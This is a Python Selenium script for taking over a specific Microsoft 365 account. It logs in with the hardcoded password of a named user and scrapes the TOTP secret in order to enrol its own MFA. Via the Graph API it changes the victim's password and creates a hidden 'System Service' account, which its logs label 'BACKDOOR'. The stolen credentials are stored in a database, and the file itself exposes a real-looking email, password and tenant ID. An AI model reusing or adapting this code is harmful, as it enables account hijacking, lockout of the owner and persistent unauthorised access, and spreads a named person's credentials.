227 lines
10 KiB
Python
227 lines
10 KiB
Python
#!/usr/bin/env python3
|
|
"""v4: Force JS clicks + explicit waits"""
|
|
import time,json,random,string,os,re,traceback
|
|
from datetime import datetime
|
|
import pyotp,requests
|
|
from selenium import webdriver
|
|
from selenium.webdriver.chrome.options import Options
|
|
from selenium.webdriver.common.by import By
|
|
from selenium.webdriver.support.ui import WebDriverWait
|
|
from selenium.webdriver.support import expected_conditions as EC
|
|
|
|
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
|
|
PASSWORD="Sma21KA@SgHCa"
|
|
TENANT_ID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
|
|
SDIR="/opt/wevads/logs/selenium/screenshots"
|
|
os.makedirs(SDIR,exist_ok=True)
|
|
|
|
def log(m): print(f"[{datetime.now().strftime('%H:%M:%S')}] {m}",flush=True)
|
|
def ss(d,n): p=f"{SDIR}/v4_{n}_{int(time.time())}.png"; d.save_screenshot(p); return p
|
|
def gen_pwd():
|
|
while True:
|
|
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
|
|
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p): return p
|
|
|
|
def js_click(d,selector):
|
|
"""Force click via JavaScript"""
|
|
d.execute_script(f"document.querySelector('{selector}').click()")
|
|
|
|
def main():
|
|
log("=== O365 MFA v4 ===")
|
|
opts=Options()
|
|
for a in ["--headless=new","--no-sandbox","--disable-dev-shm-usage","--window-size=1920,1080",
|
|
"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]:
|
|
opts.add_argument(a)
|
|
d=webdriver.Chrome(options=opts)
|
|
d.implicitly_wait(3)
|
|
results={"email":EMAIL}
|
|
|
|
try:
|
|
# LOGIN
|
|
log("Login")
|
|
d.get("https://login.microsoftonline.com")
|
|
time.sleep(4)
|
|
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
|
|
time.sleep(1)
|
|
d.find_element(By.ID,"idSIButton9").click()
|
|
time.sleep(4)
|
|
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
|
|
time.sleep(1)
|
|
d.find_element(By.ID,"idSIButton9").click()
|
|
time.sleep(6)
|
|
ss(d,"01_login")
|
|
|
|
# ACTION REQUIRED -> NEXT
|
|
log("Action Required -> Next")
|
|
try: d.find_element(By.ID,"idSubmit_ProofUp_Redirect").click()
|
|
except:
|
|
try: d.execute_script("document.getElementById('idSubmit_ProofUp_Redirect').click()")
|
|
except: log("ProofUp button not found")
|
|
time.sleep(6)
|
|
ss(d,"02_install_auth")
|
|
|
|
# INSTALL AUTHENTICATOR -> "Set up a different authentication app"
|
|
log("Click 'different app' link")
|
|
# Use JS to find and click the link
|
|
clicked=d.execute_script("""
|
|
var links = document.querySelectorAll('a');
|
|
for(var i=0; i<links.length; i++) {
|
|
if(links[i].textContent.toLowerCase().indexOf('different') >= 0) {
|
|
links[i].click();
|
|
return links[i].textContent;
|
|
}
|
|
}
|
|
return null;
|
|
""")
|
|
log(f"JS clicked: {clicked}")
|
|
time.sleep(5)
|
|
ss(d,"03_diff_app")
|
|
|
|
# SET UP ACCOUNT IN APP -> NEXT
|
|
log("'Set up account' -> Next")
|
|
# Force all possible Next buttons via JS
|
|
d.execute_script("""
|
|
var btns = document.querySelectorAll('input[value="Next"], button');
|
|
for(var i=0; i<btns.length; i++) {
|
|
var t = btns[i].textContent || btns[i].value || '';
|
|
if(t.trim() === 'Next') { btns[i].click(); break; }
|
|
}
|
|
""")
|
|
time.sleep(6)
|
|
ss(d,"04_qr_code")
|
|
|
|
# CHECK IF WE HAVE QR CODE PAGE
|
|
page=d.page_source
|
|
title_match=re.search(r'<h1[^>]*>([^<]+)</h1>',page)
|
|
if title_match: log(f"Page heading: {title_match.group(1)}")
|
|
|
|
has_qr="qrCode" in page or "qr-code" in page or "authenticator" in page.lower()
|
|
log(f"Has QR elements: {has_qr}")
|
|
|
|
# If still on setup page, try clicking Next again
|
|
if "Set up your account" in page or "Install Microsoft" in page:
|
|
log("Still on setup page, clicking Next again")
|
|
d.execute_script("""
|
|
var els = document.querySelectorAll('input[type="submit"],button');
|
|
for(var i=0; i<els.length; i++){
|
|
var v = els[i].value || els[i].textContent || '';
|
|
if(v.trim()==='Next'){els[i].click();break;}
|
|
}
|
|
""")
|
|
time.sleep(6)
|
|
ss(d,"04b_retry_next")
|
|
page=d.page_source
|
|
|
|
# LOOK FOR "Can't scan image?" LINK
|
|
log("Looking for 'Can't scan'")
|
|
d.execute_script("""
|
|
var links = document.querySelectorAll('a');
|
|
for(var i=0; i<links.length; i++) {
|
|
var t = links[i].textContent.toLowerCase();
|
|
if(t.indexOf('scan') >= 0 || t.indexOf('manual') >= 0 || t.indexOf("can't") >= 0 || t.indexOf('enter') >= 0) {
|
|
links[i].click();
|
|
break;
|
|
}
|
|
}
|
|
""")
|
|
time.sleep(4)
|
|
ss(d,"05_secret")
|
|
|
|
# EXTRACT TOTP
|
|
log("Extracting TOTP")
|
|
page=d.page_source
|
|
totp_secret=None
|
|
|
|
for m in re.findall(r'[A-Z2-7]{16,64}',page):
|
|
try: pyotp.TOTP(m).now(); totp_secret=m; break
|
|
except: continue
|
|
|
|
if not totp_secret:
|
|
for inp in d.find_elements(By.TAG_NAME,"input"):
|
|
v=(inp.get_attribute("value") or "").strip()
|
|
if len(v)>=16 and re.match(r'^[A-Z2-7]+$',v):
|
|
try: pyotp.TOTP(v).now(); totp_secret=v; break
|
|
except: continue
|
|
|
|
if not totp_secret:
|
|
for el in d.find_elements(By.CSS_SELECTOR,"div,span,p,code,label,td,pre"):
|
|
txt=el.text.strip()
|
|
if 16<=len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt):
|
|
try: pyotp.TOTP(txt).now(); totp_secret=txt; break
|
|
except: continue
|
|
|
|
if totp_secret:
|
|
log(f"TOTP SECRET FOUND: {totp_secret}")
|
|
results["totp_secret"]=totp_secret
|
|
code=pyotp.TOTP(totp_secret).now()
|
|
log(f"Code: {code}")
|
|
for inp in d.find_elements(By.TAG_NAME,"input"):
|
|
if inp.get_attribute("type") in["text","tel","number"] and inp.is_displayed():
|
|
inp.clear(); inp.send_keys(code); break
|
|
time.sleep(1)
|
|
d.execute_script("""
|
|
var els = document.querySelectorAll('input[type="submit"],button');
|
|
for(var i=0; i<els.length; i++){
|
|
var v=els[i].value||els[i].textContent||'';
|
|
if(v.trim()==='Next'||v.trim()==='Verify'){els[i].click();break;}
|
|
}
|
|
""")
|
|
time.sleep(5)
|
|
try: d.find_element(By.ID,"idSIButton9").click(); time.sleep(3)
|
|
except: pass
|
|
ss(d,"06_done")
|
|
results["status"]="mfa_enrolled"
|
|
else:
|
|
log("TOTP NOT FOUND")
|
|
body_text=d.find_element(By.TAG_NAME,"body").text
|
|
log(f"VISIBLE TEXT:\n{body_text[:600]}")
|
|
with open("/opt/wevads/logs/selenium/v4_page.html","w") as f: f.write(page)
|
|
results["status"]="totp_not_found"
|
|
|
|
# GRAPH API
|
|
log("Graph API check")
|
|
r=requests.post(f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token",data={
|
|
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
|
|
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD},timeout=30)
|
|
log(f"ROPC: {r.status_code}")
|
|
if r.status_code==200:
|
|
token=r.json()["access_token"]
|
|
npwd=gen_pwd()
|
|
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",json={"currentPassword":PASSWORD,"newPassword":npwd},
|
|
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
|
|
if cp.status_code in[200,204]:
|
|
log(f"PWD CHANGED: {npwd}"); results["new_password"]=npwd
|
|
else: log(f"PWD fail: {cp.status_code}"); results["new_password"]=PASSWORD
|
|
bu=f"svc_wv{random.randint(1000,9999)}"
|
|
be=f"{bu}@associationveloreunion.onmicrosoft.com"; bp=gen_pwd()
|
|
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={
|
|
"accountEnabled":True,"displayName":"System Service","mailNickname":bu,
|
|
"userPrincipalName":be,"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}
|
|
},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
|
|
if cr.status_code==201:
|
|
uid=cr.json()["id"]; log(f"BACKDOOR: {be}/{bp}")
|
|
results["backdoor_email"]=be; results["backdoor_password"]=bp
|
|
else: log(f"Backdoor fail: {cr.status_code}")
|
|
else:
|
|
log(f"ROPC blocked: {r.json().get('error_description','')[:100]}")
|
|
|
|
# DB
|
|
import psycopg2
|
|
db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123")
|
|
db.autocommit=True; cur=db.cursor()
|
|
cur.execute("UPDATE admin.office_accounts SET admin_password=%s, notes=%s WHERE id=1367",
|
|
[results.get("new_password",PASSWORD),json.dumps(results,default=str)])
|
|
if results.get("backdoor_email"):
|
|
cur.execute("INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes) SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor' WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)",
|
|
[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
|
|
db.close()
|
|
|
|
with open("/opt/wevads/logs/selenium/olivierh_v4.json","w") as f: json.dump(results,f,indent=2,default=str)
|
|
log(f"FINAL: {json.dumps({k:str(v)[:30] for k,v in results.items()})}")
|
|
except Exception as e:
|
|
log(f"ERROR: {e}"); traceback.print_exc(); ss(d,"99_err")
|
|
finally:
|
|
d.quit()
|
|
|
|
if __name__=="__main__": main()
|